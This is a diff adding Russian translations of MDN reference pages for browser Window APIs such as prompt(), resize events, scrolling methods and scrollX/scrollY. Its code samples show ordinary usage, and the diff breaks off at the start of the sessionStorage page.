[3] IE8 and IE9 only support it for {{HTMLElement("frame")}} and {{HTMLElement("iframe")}}.

+ +

[4] IE10 has important limitations: see this article for details.

+ +

See also

+ + diff --git a/files/ru/web/api/window/print/index.html b/files/ru/web/api/window/print/index.html new file mode 100644 index 0000000000..458df5ff38 --- /dev/null +++ b/files/ru/web/api/window/print/index.html @@ -0,0 +1,46 @@ +--- +title: Window.print() +slug: Web/API/Window/print +translation_of: Web/API/Window/print +--- +

{{ ApiRef() }}

+ +

Описание

+ +

Открывает диалоговое окно для печати текущего документа.

+ +

Синтаксис

+ +
window.print()
+
+ +

Примечания

+ +

Начиная с Chrome {{CompatChrome(46.0)}} этот метод заблокирован внутри {{htmlelement("iframe")}} до тех пор, пока его атрибут sandbox не имеет значение allow-modals.

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', 'timers-and-user-prompts.html#printing', 'print()')}}{{Spec2('HTML WHATWG')}} 
+ +

Смотри так же

+ + + +

{{ languages( { "ja": "ja/DOM/window.print", "it": "it/DOM/window.print" , "zh-cn": "zh-cn/DOM/window.print" } ) }}

diff --git a/files/ru/web/api/window/prompt/index.html b/files/ru/web/api/window/prompt/index.html new file mode 100644 index 0000000000..b30ebcda54 --- /dev/null +++ b/files/ru/web/api/window/prompt/index.html @@ -0,0 +1,77 @@ +--- +title: Window.prompt() +slug: Web/API/Window/prompt +translation_of: Web/API/Window/prompt +--- +
{{ApiRef("Window")}}
+ +

Метод Window.prompt() отображает диалоговое окно с необязательным запросом на ввод текста.

+ +

Синтаксис

+ +
result = window.prompt(message, default);
+
+ + + +

Пример

+ +
var sign = prompt("What's your sign?");
+
+if (sign.toLowerCase() == "scorpio") {
+  alert("Wow! I'm a Scorpio too!");
+}
+
+// есть множество способов использовать prompt
+var sign = window.prompt(); // открывается пустое окошко с запросом ввода текста
+var sign = prompt();       //  открывается пустое окошко с запросом ввода текста
+var sign = window.prompt('Are you feeling lucky'); // открывается окошко с текстом "Are you feeling lucky"
+var sign = window.prompt('Are you feeling lucky', 'sure'); // открывается окошко с текстом "Are you feeling lucky" и значением по умолчанию "sure"
+ +

Когда пользователь нажимает кнопку OK, функция возвращает текст, введенный в поле. Если пользователь нажимает кнопку OK, без ввода какого-либо текста - возвращается пустая строка. Если пользователь нажимает кнопку Cancel, то функция возвращает null.

+ +

Вышеописанный prompt будет выглядеть следующим образом (в Chrome на OS X):

+ +

prompt() dialog in Chrome on OS X

+ +

Примечания

+ +

prompt диалог содержит однострочное текстовое поле, кнопку Cancel и кнопку OK, и возвращает (возможно пустой) текст введеный пользователем в текстовое поле.

+ +

The following text is shared between this article, DOM:window.confirm and DOM:window.alertДиалоговые окна являются модальными; они блокируют доступ пользователя к остальному интерфейсу программы, пока диалоговое окно не будет закрыто. По этой причине вы не должны злоупотреблять функциями, которые создают диологовое окно (или модальное окно).

+ +

Пожалуйста, обратите внимание, что результатом является строка. Это значит, что вы должны определять значение заданное пользователем. Например, если ответ должен быть Number, вы должны привести значение к Number: var aNumber = Number(window.prompt("Type a number", "")); 

+ +

Пользователи Mozilla Firefox (например, расширений Firefox) должны использовать методы {{interface("nsIPromptService")}}.

+ +

Начиная с Chrome {{CompatChrome(46.0)}}, этот метод блокируется внутри объекта {{htmlelement("iframe")}}, пока атрибут sandbox не будет установлен в значение allow-modal.

+ +

Эта функция не действует в современной UI/Metro версии Internet Explorer для Windows 8. Он не отображает запрос для пользователя и всегда возвращает undefined. Неясно, является ли это ошибкой или предполагаемым поведением. Desktop версия IE выполняет функцию корректно.

+ +

Спецификация

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', 'timers-and-user-prompts.html#dom-prompt', 'prompt()')}}{{Spec2('HTML WHATWG')}}
+ +

Смотрите также 

+ + diff --git a/files/ru/web/api/window/requestidlecallback/index.html b/files/ru/web/api/window/requestidlecallback/index.html new file mode 100644 index 0000000000..45907d1f5c --- /dev/null +++ b/files/ru/web/api/window/requestidlecallback/index.html @@ -0,0 +1,121 @@ +--- +title: window.requestIdleCallback() +slug: Web/API/Window/requestIdleCallback +translation_of: Web/API/Window/requestIdleCallback +--- +
{{APIRef("HTML DOM")}}{{SeeCompatTable}}
+ +

Метод window.requestIdleCallback() ставит в очередь функцию, которая будет вызываться во время периодов простоя браузера. Это позволяет разработчикам выполнять фоновую и низкоприоритетную работу в цикле основного события, без воздействия такими критично долгими событиями, как анимация и обработка ввода. Функции, обычно, вызываются в порядке очереди "первый вошёл - первый вышел"; однако функции обратного вызова с заданными timeout, могут быть вызваны не по порядку, если необходимо запустить их до истечения таймаута.

+ +

Вы можете вызвать requestIdleCallback() внутри callback-функции в режиме ожидания для планирования другого callback'а, который произойдёт не раньше, чем следующий проход через цикл событий.

+ +
Опция timeout настоятельно рекомендована для работы, в противном случае может пройти несколько секунд прежде, чем будет вызван обратный вызов.
+ +

Синтаксис

+ +
var handle = window.requestIdleCallback(callback[, options])
+ +

Возвращаемое значение

+ +

Возвращает ID, который может быть использован для отмены callback'а, передав значение в метод {{domxref("window.cancelIdleCallback()")}}.

+ +

Параметры

+ +
+
callback
+
Ссылка на функцию, что должна быть вызвана в ближайшем будущем, когда цикл событий в режиме ожидания. Функции передаётся объект {{domxref("IdleDeadline")}} описывающий общее количество доступного времени и был ли выполнен callback, потому что таймаут истёк.
+
options {{optional_inline}}
+
Содержит опциональные параметры конфигурации. На текущий момент, определено только одно свойство: +
    +
  • timeout: Если задан timeout и имеет положительное значение, а callback ещё не был вызван по времени наступления миллисекундного timeout, callback будет вызван в течение следующего периода простоя, даже если это может привести к негативному влиянию на производительность.
    • +
+
+
+ +

Пример

+ +

Посмотрите наш готовый пример в статье Cooperative Scheduling of Background Tasks API.

+ +

Спецификация

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Background Tasks')}}{{Spec2('Background Tasks')}}Initial definition.
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(47)}}{{CompatNo}}{{CompatGeckoDesktop(55)}}{{CompatNo}}{{CompatOpera(34)}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatChrome(47)}}{{CompatChrome(47)}}{{CompatGeckoMobile(55)}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +

requestIdleCallback() включён в Firefox 53 но по умолчанию отключён. По умолчанию включён, начиная с Firefox 55.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/window/resize_event/index.html b/files/ru/web/api/window/resize_event/index.html new file mode 100644 index 0000000000..6fdbfba4a8 --- /dev/null +++ b/files/ru/web/api/window/resize_event/index.html @@ -0,0 +1,192 @@ +--- +title: resize +slug: Web/API/Window/resize_event +tags: + - Веб + - Ссылки + - события +translation_of: Web/API/Window/resize_event +--- +

{{APIRef}}

+ +

Событие resize срабатывает при изменении размера представления документа (окна).

+ +

В некоторых более ранних браузерах можно было зарегистрировать обработчики событий resize на любом HTML-элементе. По-прежнему можно установить атрибуты onresize или использовать {{domxref("EventTarget.addEventListener", "addEventListener()")}} чтобы установить обработчик для любого элемента. Однако, событие resize  запускается только на объекте {{domxref("Window", "window")}}. Только обработчики, зарегистрированные на объекте window, будут получать события resize .

+ +

Существует предложение разрешить всем элементам получать уведомления об изменениях размера. См. раздел Resize Observer, чтобы ознакомиться с проектом документа, и GitHub вопросы, чтобы ознакомиться с текущими обсуждениями.

+ +

Основная информация

+ +
+
Спецификаци
+
DOM L3, CSSOM View
+
Интерфейс
+
UIEvent
+
Bubbles
+
Нет
+
Отмена
+
Нет
+
Цель
+
вид по умолчанию (window)
+
Действие по умолчанию
+
Нет
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}EventTargetThe event target (the topmost target in the DOM tree).
type {{readonlyInline}}DOMStringThe type of event.
bubbles {{readonlyInline}}BooleanWhether the event normally bubbles or not.
cancelable {{readonlyInline}}BooleanWhether the event is cancellable or not.
view {{readonlyInline}}WindowProxydocument.defaultView (window of the document)
detail {{readonlyInline}}long (float)0.
+ +

Примеры

+ +

Так как события изменения размера могут срабатывать с высокой скоростью, обработчик событий не должен выполнять дорогостоящие операции, такие как модификации DOM. Вместо этого рекомендуется регулировать событие, используя requestAnimationFrame, setTimeout или customEvent *, следующим образом:

+ +

* ВАЖНО: Обратите внимание, что для работы в IE11 необходимо, чтобы customEvent заполнялся в функцию правильно.

+ +

requestAnimationFrame + customEvent

+ +
(function() {
+    var throttle = function(type, name, obj) {
+        obj = obj || window;
+        var running = false;
+        var func = function() {
+            if (running) { return; }
+            running = true;
+             requestAnimationFrame(function() {
+                obj.dispatchEvent(new CustomEvent(name));
+                running = false;
+            });
+        };
+        obj.addEventListener(type, func);
+    };
+
+    /* init - you can init any event */
+    throttle("resize", "optimizedResize");
+})();
+
+// handle event
+window.addEventListener("optimizedResize", function() {
+    console.log("Resource conscious resize callback!");
+});
+
+ +

requestAnimationFrame

+ +
var optimizedResize = (function() {
+
+    var callbacks = [],
+        running = false;
+
+    // fired on resize event
+    function resize() {
+
+        if (!running) {
+            running = true;
+
+            if (window.requestAnimationFrame) {
+                window.requestAnimationFrame(runCallbacks);
+            } else {
+                setTimeout(runCallbacks, 66);
+            }
+        }
+
+    }
+
+    // run the actual callbacks
+    function runCallbacks() {
+
+        callbacks.forEach(function(callback) {
+            callback();
+        });
+
+        running = false;
+    }
+
+    // adds callback to loop
+    function addCallback(callback) {
+
+        if (callback) {
+            callbacks.push(callback);
+        }
+
+    }
+
+    return {
+        // public method to add additional callback
+        add: function(callback) {
+            if (!callbacks.length) {
+                window.addEventListener('resize', resize);
+            }
+            addCallback(callback);
+        }
+    }
+}());
+
+// start process
+optimizedResize.add(function() {
+    console.log('Resource conscious resize callback!')
+});
+
+ +

setTimeout

+ +
(function() {
+
+  window.addEventListener("resize", resizeThrottler, false);
+
+  var resizeTimeout;
+  function resizeThrottler() {
+    // ignore resize events as long as an actualResizeHandler execution is in the queue
+    if ( !resizeTimeout ) {
+      resizeTimeout = setTimeout(function() {
+        resizeTimeout = null;
+        actualResizeHandler();
+
+       // The actualResizeHandler will execute at a rate of 15fps
+       }, 66);
+    }
+  }
+
+  function actualResizeHandler() {
+    // handle the resize event
+    ...
+  }
+
+}());
diff --git a/files/ru/web/api/window/screen/index.html b/files/ru/web/api/window/screen/index.html new file mode 100644 index 0000000000..5bf9a9b089 --- /dev/null +++ b/files/ru/web/api/window/screen/index.html @@ -0,0 +1,46 @@ +--- +title: Window.screen +slug: Web/API/Window/screen +translation_of: Web/API/Window/screen +--- +

{{APIRef("CSSOM")}}

+ +

Свойство screen объекта {{DOMxRef("Window")}} возвращает ссылку на экран обьекта, который содержит информацию об экране пользователя. Похожий по смыслу, объект screen, который имплементирует интерфейс  {{DOMxRef("Screen")}} представляет собой совокупность свойств экрана пользователя.

+ +

Синтаксис

+ +
let screenObj = window.screen;
+ +

Пример

+ +
if (screen.pixelDepth < 8) {
+  // uиспользовать пониженную глубину пикселей
+} else {
+  // Использовать стандартную глубину пикселей(24)
+}
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСостояниеПояснение
{{SpecName('CSSOM View', '#dom-window-screen', 'window.screen')}}{{Spec2('CSSOM View')}}Начальное определение
+ +

Cовместимость с браузерами

+ + + +

{{Compat("api.Window.screen")}}

diff --git a/files/ru/web/api/window/screenx/index.html b/files/ru/web/api/window/screenx/index.html new file mode 100644 index 0000000000..ad30bf1e30 --- /dev/null +++ b/files/ru/web/api/window/screenx/index.html @@ -0,0 +1,97 @@ +--- +title: Window.screenX +slug: Web/API/Window/screenX +tags: + - API + - Property + - Read-only + - Reference + - Window + - screenX +translation_of: Web/API/Window/screenX +--- +
{{APIRef}}
+ +

Свойство Window.screenX только для чтения возвращает горизонтальное расстояние в пикселях CSS левой границы окна просмотра браузера пользователя до левой части экрана.

+ +
+

Заметка: Псевдоним screenX был реализован во всех современных браузерах - {{domxref ("Window.screenLeft")}}. Первоначально это поддерживалось только в IE, но было введено повсеместно из-за популярности.

+
+ +

Синтаксис

+ +
leftWindowPos = window.screenX
+
+ +

Возвращает

+ +

Число, равное количеству пикселей CSS от левого края окна просмотра браузера до левого края экрана.

+ +

Пример

+ +

В нашем примере screenleft-screentop вы увидите холст, на котором нарисован круг. В этом примере мы используем {{domxref ("Window.screenLeft")}}/{{domxref ("Window.screenTop")}} плюс {{domxref("Window.requestAnimationFrame ()")}}, чтобы постоянно перерисовывать круг в том же физическом положении на экране, даже если позиция окна перемещается.

+ +
initialLeft = window.screenLeft + canvasElem.offsetLeft;
+initialTop = window.screenTop + canvasElem.offsetTop;
+
+function positionElem() {
+  let newLeft = window.screenLeft + canvasElem.offsetLeft;
+  let newTop = window.screenTop + canvasElem.offsetTop;
+
+  let leftUpdate = initialLeft - newLeft;
+  let topUpdate = initialTop - newTop;
+
+  ctx.fillStyle = 'rgb(0, 0, 0)';
+  ctx.fillRect(0, 0, width, height);
+  ctx.fillStyle = 'rgb(0, 0, 255)';
+  ctx.beginPath();
+  ctx.arc(leftUpdate + (width/2), topUpdate + (height/2) + 35, 50, degToRad(0), degToRad(360), false);
+  ctx.fill();
+
+  pElem.textContent = 'Window.screenLeft: ' + window.screenLeft + ', Window.screenTop: ' + window.screenTop;
+
+  window.requestAnimationFrame(positionElem);
+}
+
+window.requestAnimationFrame(positionElem);
+ +

Они работают точно так же, как screenX / screenY.

+ +

Также в код мы включили фрагмент, который определяет, поддерживается ли screenLeft, и, если нет, заполняет поли в screenLeft / screenTop, используя screenX / screenY.

+ +
if(!window.screenLeft) {
+  window.screenLeft = window.screenX;
+  window.screenTop = window.screenY;
+}
+ +

Спецификация

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('CSSOM View', '#dom-window-screenx', 'Window.screenX') }}{{ Spec2('CSSOM View') }}Initial definition.
+ +

Совместимость браузера

+ + + +

{{Compat("api.Window.screenX")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/window/scroll/index.html b/files/ru/web/api/window/scroll/index.html new file mode 100644 index 0000000000..ffa999921d --- /dev/null +++ b/files/ru/web/api/window/scroll/index.html @@ -0,0 +1,37 @@ +--- +title: Window.scroll() +slug: Web/API/Window/scroll +translation_of: Web/API/Window/scroll +--- +
{{APIRef}}
+ +

Прокручивает страницу до указанного места.

+ +

Синтаксис

+ +
window.scroll(x-coord,y-coord)
+
+ +

Параметры

+ + + +

Пример

+ +
<!-- прокрутить до пикселя с y = 100 -->
+
+<button onClick="scroll(0, 100);">прокрутить</button>
+
+ +

Замечания

+ +

window.scrollTo имеет тот же самый эффект. Для того, чтобы прокрутить на некоторое количество пикселей относительно текущей позиции, используйте window.scrollBy. См. также window.scrollByLines, window.scrollByPages.

+ +

Спецификация

+ + diff --git a/files/ru/web/api/window/scrollby/index.html b/files/ru/web/api/window/scrollby/index.html new file mode 100644 index 0000000000..bb1b2be60c --- /dev/null +++ b/files/ru/web/api/window/scrollby/index.html @@ -0,0 +1,53 @@ +--- +title: Window.scrollBy() +slug: Web/API/Window/scrollBy +translation_of: Web/API/Window/scrollBy +--- +

{{ APIRef() }}

+ +

Описание

+ +

Прокручивает документ на указанные величины.

+ +

Синтаксис

+ +
window.scrollBy(X, Y);
+
+ +

Параметры

+ + + +

Положительные значения приведут к прокрутке страницы вправо и вниз. Отрицательные координаты прокрутят страницу влево и вверх.

+ +

Пример

+ +
// Прокрутка на один экран вертикально вниз.
+window.scrollBy(0, window.innerHeight);
+
+ +

Примечания

+ +

window.scrollBy прокручивает страницу на указанное количество пикселей, в то время как метод window.scroll указывает абсолютную позицию в документе, на которую надо сместиться. См. также window.scrollByLines, window.scrollByPages

+ +

Спецификация

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('CSSOM View', '#dom-window-scrollby', 'window.scrollBy()') }}{{ Spec2('CSSOM View') }}Исходное определение.
diff --git a/files/ru/web/api/window/scrollbylines/index.html b/files/ru/web/api/window/scrollbylines/index.html new file mode 100644 index 0000000000..6f2c178a2b --- /dev/null +++ b/files/ru/web/api/window/scrollbylines/index.html @@ -0,0 +1,46 @@ +--- +title: Window.scrollByLines() +slug: Web/API/Window/scrollByLines +translation_of: Web/API/Window/scrollByLines +--- +
{{ ApiRef() }}
+ +
+

{{Non-standard_header}}

+
+ +

Summary

+ +

Прокручивает документ на заданное число строк.

+ +

Syntax

+ +
window.scrollByLines(lines)
+
+ +

Parameters

+ + + +

Example

+ +
<!-- прокручивает страницу вниз на 5 линий. -->
+<button onclick="scrollByLines(5);">down 5 lines</button>
+
+ +
<!-- прокручивает страницу вверх на 5 линий. -->
+<button onclick="scrollByLines(-5);">up 5 lines</button>
+
+ +

Specification

+ +

Не является частью спецификации

+ +

See also

+ + diff --git a/files/ru/web/api/window/scrollmaxx/index.html b/files/ru/web/api/window/scrollmaxx/index.html new file mode 100644 index 0000000000..1f6ca6b1f2 --- /dev/null +++ b/files/ru/web/api/window/scrollmaxx/index.html @@ -0,0 +1,39 @@ +--- +title: Window.scrollMaxX +slug: Web/API/Window/scrollMaxX +translation_of: Web/API/Window/scrollMaxX +--- +
{{APIRef}} {{Non-standard_header}}
+ +

Свойство Window.scrollMaxX (только для чтения) возвращает максимальное количество пикселей в документе, которые могут быть прокручены по горизонтали.

+ +

Синтаксис

+ +
xMax = window.scrollMaxX
+
+ + + +

Пример

+ +
// Прокрутка к правому краю страницы
+let maxX = window.scrollMaxX;
+
+window.scrollTo(maxX, 0);
+
+ +

Примечания

+ +

Не используйте это свойство для получения ширины документа с помощью window.innerWidth + window.scrollMaxX. Это не равнозначно всей ширине документа, потому что {{domxref("window.innerWidth")}} включает в себя ширину полосы прокрутки, таким образом результат будет включать себя ширину документа с шириной полосы прокрутки. Вместо этого используйте {{domxref("element.scrollWidth","document.body.scrollWidth")}}. Смотрите также {{domxref("window.scrollMaxY")}}.

+ +

Спецификации

+ +

Не является частью спецификации.

+ +

Совместимость с браузерами

+ + + +

{{Compat("api.Window.scrollMaxX")}}

diff --git a/files/ru/web/api/window/scrollmaxy/index.html b/files/ru/web/api/window/scrollmaxy/index.html new file mode 100644 index 0000000000..1901e5162c --- /dev/null +++ b/files/ru/web/api/window/scrollmaxy/index.html @@ -0,0 +1,42 @@ +--- +title: Window.scrollMaxY +slug: Web/API/Window/scrollMaxY +tags: + - API + - HTML DOM + - Window + - Свойство +translation_of: Web/API/Window/scrollMaxY +--- +
{{APIRef}} {{Non-standard_header}}
+ +

Свойство Window.scrollMaxY возвращает максимальное число пикселей по вертикали, доступных для прокрутки в документе. Только для чтения.

+ +

Синтаксис

+ +
yMax = window.scrollMaxY
+
+ + + +

Пример

+ +
// Пролистать в самый низ
+var maxY = window.scrollMaxY;
+
+window.scrollTo(0,maxY);
+
+ +

Примечания 

+ +

Не используйте это свойство для получения общей высоты документа, так как оно не равнозначно {{domxref("window.innerHeight")}} + window.scrollMaxY, потому что {{domxref("window.innerHeight")}} включает ещё ширину любой видимой горизонтальной полосы прокрутке. Вместо этого применяйте {{domxref("element.scrollHeight","document.body.scrollHeight")}}. Смотрите также {{domxref("window.scrollMaxX")}} и {{domxref("window.scrollTo")}}.

+ +

Спецификация

+ +

Не является частью какой-либо спецификации.

+ +

Совместимость с браузерами

+ +

{{Compat("api.Window.scrollMaxY")}}

diff --git a/files/ru/web/api/window/scrollto/index.html b/files/ru/web/api/window/scrollto/index.html new file mode 100644 index 0000000000..30b3a8c73f --- /dev/null +++ b/files/ru/web/api/window/scrollto/index.html @@ -0,0 +1,50 @@ +--- +title: Window.scrollTo() +slug: Web/API/Window/scrollTo +tags: + - Плавная прокрутка + - Плавный скролл +translation_of: Web/API/Window/scrollTo +--- +
{{ APIRef }}
+ +

Описание

+ +

Прокрутка документа до указанных координат.

+ +

Синтакс

+ +
window.scrollTo(x-coord, y-coord)
+window.scrollTo(options)
+ +

Параметры

+ + + +

Пример

+ +
window.scrollTo( 0, 1000 );
+
+// этот код меняет поведение прокрутки на "smooth"
+window.scrollTo({
+    top: 1000,
+    behavior: "smooth"
+});
+ +

Заметки

+ +

Эта функция выполняет то же, что и window.scroll. Остальные функции, связанные с прокруткой window.scrollBy, window.scrollByLines, и window.scrollByPages.

+ +

Спецификация

+ +

{{dom0}}

diff --git a/files/ru/web/api/window/scrollx/index.html b/files/ru/web/api/window/scrollx/index.html new file mode 100644 index 0000000000..79d7cc5091 --- /dev/null +++ b/files/ru/web/api/window/scrollx/index.html @@ -0,0 +1,156 @@ +--- +title: Window.scrollX +slug: Web/API/Window/scrollX +translation_of: Web/API/Window/scrollX +--- +
{{ APIRef("CSSOM View") }}
+ +

scrollX — свойство только для чтения интерфейса {{domxref("Window")}}. Возвращает число пикселей, на которое документ пролистали в данный момент по горизонтали. В современных браузерах это значение является точным числом субпикселей, что означает отсутствие необходимости в полном значении количества пикселей. Вы можете получить количество  пикселей, пролистаных по вертикали с помощью свойства {{domxref("Window.scrollY", "scrollY")}} .

+ +

Синтаксис

+ +
var x = window.scrollX;
+ +

Value

+ +

 

+ +

Возвращаемое значение является числом с плавающей точкой двойной точности, показывающее количество пикселей в документе, которые были пролистаны на данный момент от начальной позиции, где положительное значение означает, что контент был пролистан налево. Если документ был просматривается на устройстве с возможностью вычислять точное число субпикселей, то возвращаемое значение также является точным количеством субпикселей и может иметь десятичную часть. Если контент не был пролистан ни в одну из сторон по X, то scrollX = 0.

+ +

 

+ +
+

Если вам нужно получить целочисленное значение, используйте {{jsxref("Math.round()")}} для округления.

+
+ +

Говоря технически, то scrollX возвращает X-координату от верхнего края текущего окна просмотра ({{Glossary("viewport")}}). Если окна просмотра нет, то возвращаемое значение = 0.

+ +

Пример

+ +

В данном примере проверяется текущая горизонтальная позиция пролистывания текущего документа. Если это число больше 400 пикселей, то окно пролистывается к началу.

+ +
if (window.scrollX > 400) {
+  window.scroll(0,0);
+}
+ +

Заметки

+ +

Свойство pageXOffset - другое название свойства scrollX:

+ +
window.pageXOffset == window.scrollX; // всегда верно
+ +

Для кросс-браузерной совместимости используйте window.pageXOffset вместо window.scrollX. Кроме того, старые версии Internet Explorer (<9) не поддерживают оба свойства. Для работы в Internet Explorer необходимо использовать нестандарные свойства. Пример полностью совместимого со всеми браузерами кода:

+ +
var x = (window.pageXOffset !== undefined)
+  ? window.pageXOffset
+  : (document.documentElement || document.body.parentNode || document.body).scrollLeft;
+
+var y = (window.pageYOffset !== undefined)
+  ? window.pageYOffset
+  : (document.documentElement || document.body.parentNode || document.body).scrollTop;
+ +

Спецификация

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('CSSOM View', '#dom-window-scrollx', 'window.scrollX') }}{{ Spec2('CSSOM View') }} 
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
Точность субпикселей{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(55)}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Базовая поддержка{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
Точность субпикселей{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(55)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
+
+ +

См. также

+ + diff --git a/files/ru/web/api/window/scrolly/index.html b/files/ru/web/api/window/scrolly/index.html new file mode 100644 index 0000000000..8125f381ab --- /dev/null +++ b/files/ru/web/api/window/scrolly/index.html @@ -0,0 +1,77 @@ +--- +title: Window.scrollY +slug: Web/API/Window/scrollY +translation_of: Web/API/Window/scrollY +--- +

{{APIRef("CSSOM View")}}

+ +

scrollY — свойство только для чтения интерфейса {{domxref("Window")}}. Возвращает число пикселей, на которое документ пролистали в данный момент по вертикали. В современных браузерах это значение является точным числом субпикселей, что означает отсутствие необходимости в полном значении количества пикселей. Вы можете получить количество  пикселей, пролистанных по горизонтали с помощью свойства {{domxref("Window.scrollX", "scrollX")}}.

+ +

Синтаксис

+ +
var y = window.scrollY
+ +

Значение

+ +

Возвращаемое значение является числом с плавающей точкой двойной точности, показывающее количество пикселей в документе, которые были пролистаны на данный момент от начальной позиции, где положительное значение означает, что контент был пролистан наверх. Если документ был просматривается на устройстве с возможностью вычислять точное число субпикселей, то возвращаемое значение также является точным количеством субпикселей и может иметь десятичную часть. Если контент не был пролистан ни в одну из сторон по Y, то scrollY = 0.

+ +
+

Если вам нужно получить целочисленное значение, используйте {{jsxref("Math.round()")}} для округления.

+
+ +

Говоря технически, то scrollY возвращает Y-координату от верхнего края текущего окна просмотра ({{Glossary("viewport")}}). Если окна просмотра нет, то возвращаемое значение = 0.

+ +

Пример

+ +
// проверить и перейти ко второй странице
+if (window.scrollY) {
+  window.scroll(0, 0);  // Обнулите позицию пролистывания на левый верхний угол документа.
+}
+
+window.scrollByPages(1);
+ +

Заметки

+ +

Применяйте данное свойство для проверки, был ли пролистан документ, когда используете похожие функции для работы с пролистыванием, такие как {{domxref("window.scrollBy", "scrollBy()")}}, {{domxref("window.scrollByLines", "scrollByLines()")}}, or {{domxref("window.scrollByPages", "scrollByPages()")}}.

+ +

Свойство pageYOffset - другое название свойства scrollY :

+ +
window.pageYOffset == window.scrollY; // всегда верно
+ +

Для кросс-браузерной совместимости используйте window.pageYOffset вместо window.scrollY. Кроме того, старые версии Internet Explorer (<9) не поддерживают оба свойства. Для работы в Internet Explorer необходимо использовать нестандарные свойства. Пример полностью совместимого со всеми браузерами кода:

+ +
var supportPageOffset = window.pageXOffset !== undefined;
+var isCSS1Compat = ((document.compatMode || "") === "CSS1Compat");
+
+var x = supportPageOffset ? window.pageXOffset : isCSS1Compat ? document.documentElement.scrollLeft : document.body.scrollLeft;
+var y = supportPageOffset ? window.pageYOffset : isCSS1Compat ? document.documentElement.scrollTop : document.body.scrollTop;
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацииСтатусКомментарий
{{ SpecName('CSSOM View', '#dom-window-scrolly', 'window.scrollY') }}{{ Spec2('CSSOM View') }}
+ +

Совместимость с браузерами

+ +

{{Compat("api.Window.scrollY")}}

+ +

См. также

+ + diff --git a/files/ru/web/api/window/self/index.html b/files/ru/web/api/window/self/index.html new file mode 100644 index 0000000000..8ba3324229 --- /dev/null +++ b/files/ru/web/api/window/self/index.html @@ -0,0 +1,66 @@ +--- +title: Window.self +slug: Web/API/Window/self +translation_of: Web/API/Window/self +--- +

{{ APIRef() }}

+ +

Cвойство Window.self доступно только для чтения и возвращает объект window в виде объекта {{domxref("WindowProxy")}}. Для доступа к данному свойству возможно использовать точечную нотацию и объект window (window.self) или переменную self. Преимущество доступа через переменную self заключается в том, что ее можно использовать в окружениях, в которых нет window, например {{domxref("Worker", "Web Workers")}}. Использование self дает возможность обращаться к глобальному объекту не только в окружениях где есть window (в таком случае self эквивалентна window.self), но также в воркерах (в случае воркера self эквивалентна {{domxref("WorkerGlobalScope.self")}}).

+ +

Пример

+ +

В следующем примере window.self точно также может быть заменено на window.

+ +
if (window.parent.frames[0] != window.self) {
+    // этот window не является первым frame в списке
+}
+
+ +

Кроме того, когда код выполняется в активном документе браузера, объект window является ссылкой на текущий глобальный объект и таким образом:

+ +
var w1 = window;
+var w2 = self;
+var w3 = window.window;
+var w4 = window.self;
+// Значения переменных w1, w2, w3, w4 строго равны между собой
+// Но только переменная w2 будет работать в workers
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-self', 'Window.self')}}{{Spec2('HTML WHATWG')}}No difference from the latest snapshot {{SpecName("HTML5.1")}}
{{SpecName('HTML5.1', 'browsers.html#dom-self', 'Window.self')}}{{Spec2('HTML5.1')}}No difference from the {{SpecName("HTML5 W3C")}}
{{SpecName('HTML5 W3C', 'browsers.html#dom-self', 'Window.self')}}{{Spec2('HTML5 W3C')}}First snapshot containing the definition of Window.self.
+ +

Совместимость с браузерами

+ +

{{Compat("api.Window.self")}}

+ +

 

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/window/sessionstorage/index.html b/files/ru/web/api/window/sessionstorage/index.html new file mode 100644 index 0000000000..cd639b04e1 --- /dev/null +++ b/files/ru/web/api/window/sessionstorage/index.html @@ -0,0 +1,139 @@ +--- +title: Window.sessionStorage +slug: Web/API/Window/sessionStorage +translation_of: Web/API/Window/sessionStorage +--- +

{{APIRef()}}

+ +

